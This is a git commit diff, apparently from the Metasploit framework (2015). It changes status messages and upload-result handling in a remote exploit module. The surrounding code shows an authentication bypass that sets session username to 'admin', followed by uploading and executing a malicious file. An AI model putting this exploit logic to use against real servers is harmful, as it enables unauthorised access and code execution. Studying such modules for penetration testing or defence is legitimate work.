Some useful messages

bug/bundler_fix
sinn3r 2015-04-01 01:41:31 -05:00
parent 8ad07cdc0f
commit 0ee858cd65
1 changed files with 6 additions and 2 deletions

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
username = 'admin'
print_status("Putting session value: username=#{username}")
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value('admin')
print_status("Your SID is: #{sid}")
@ -127,8 +127,12 @@ class Metasploit3 < Msf::Exploit::Remote
def upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
unless res
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file')
elsif res && res.body.include?('java.lang.NoClassDefFoundError')
print_status("Payload being treated as XLS, indicates a successful upload.")
else
print_status("Unsure of a successful upload, but we're going to try to execute anyway")
end
exec_file(sid, filename)